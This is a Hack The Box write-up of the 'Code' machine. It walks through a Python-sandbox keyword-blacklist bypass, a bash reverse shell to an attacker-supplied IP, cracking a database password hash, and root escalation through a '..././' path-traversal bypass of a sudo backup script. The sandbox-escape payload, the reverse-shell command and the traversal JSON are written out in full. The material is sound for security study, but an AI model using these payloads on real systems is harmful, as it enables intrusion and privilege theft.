Code

Walkthrough and writeup how I pwned Code machine on Hack The Box

Recon

As usual I do the nmap to recon the available open port in this server

# Nmap 7.95 scan initiated Sun Mar 30 20:52:53 2025 as: /usr/lib/nmap/nmap --privileged -sCV -oA scans/nmap/nmap 10.10.11.62
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 20:53:03 2025 -- 1 IP address (1 host up) scanned in 10.89 seconds

From the nmapoutput we can see that only 2 port exists, which is port 22 and port 5000, so we can assume that the initial foothold is come from the port 5000

Py Jail Exploitation

When I visit the port 5000in the browser the result is python editor, so at this point I assume that we can gain shell access from here

python editor app

But, when I try the traditional shell access the app is response with the some restriction, so we can assume in the server code has the some blacklist keyword, so this challenge is like the python jail , and we must bypass it to get the shell access

restricted keyword

The bypass is so simple and not as complicated like the pyjail as usual.

Here is the python code to bypass the restriction, from here we can try to make reverse shell and gain the full shell access

cmd = '<cmd here>'
ooo = globals()['__buil''tins__']['__imp''ort__']('o''s')
ppp = getattr(ooo, 'pop''en')
rrr = getattr(ppp(cmd), 're''ad')
print(rrr())

Reverse Shell - User Flag

Actually we can just read the user flag from the python editor before, but for the next exploitation we can use reverse shell to get the full shell access.

Listen for ping-back reverse shell connection

nc -lvnp 4444

Then, update the python code above to trigger the ping-back connection and get the shell

cmd = "bash -c 'bash -i >& /dev/tcp/your_ip_here/4444 0>&1'"
ooo = globals()['__buil''tins__']['__imp''ort__']('o''s')
ppp = getattr(ooo, 'pop''en')
rrr = getattr(ppp(cmd), 're''ad')
print(rrr())
ping-back reverse shell success

Cool, next get the user flag

Privilage Escalation

Login into martin user

This server has 2 user available, we can proof it when list the home folder

I assume is we must login as martin user first then into root user.

We know that the python editor before has the database instance because the website has login and register feature, and we also confirm from the app source code

app-production@code:~/app$ head -n 10 app.py
head -n 10 app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app-production@code:~/app$

Let's deep dive to see the database

We got something here, the output is listed the martin's credential, let's try to crack the password if applicable, I use crackstation for this job

Fire, we got the password, try to login using the ssh

Nice success.

Gain Root Flag

Then what? of course we must login into root user, let's see if martin user have sudoers access

There are available program that can fully run as root or sudo in the martin user, because this is the custom program we should try to analyze how to program is works.

This is backy.sh bash script program

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

At the end of program this program run the backy program, which is the open source backup cli program, you can see here

From the bash script and the backy cli above we know that we can't execute some shell, but because it has the backup logic we can move the /root/root.txt as the backup to retrieve the flag, but the problem is the program validate the allowed path in the value of directories_to_archive which must startswith /var or /home/

Btw, we can see the json file format that supported for this program from the github repository above

Then how we can bypass the restriction? oke focus from this logic below

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

The logic is try to remove the ../ character if the exists in the directories_to_archive value, so the purpose is to prevent the path traversal , but you know what we can do simple bypass for it.

We can just input something like this ..././ then it will convert to ../ , but why? yeah because the logic only replace or delete exact ../ pattern, and not make the recursive check, then we can do like this to bypass

/home/..././root/root.txt

So, the final json payload is like this

{
	"destination": "/home/martin/",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/..././root/root.txt"
}

Then if the exploit success we will get the bz2 tar file, let's try to unarchive this

That's it, thank you!!!

Last updated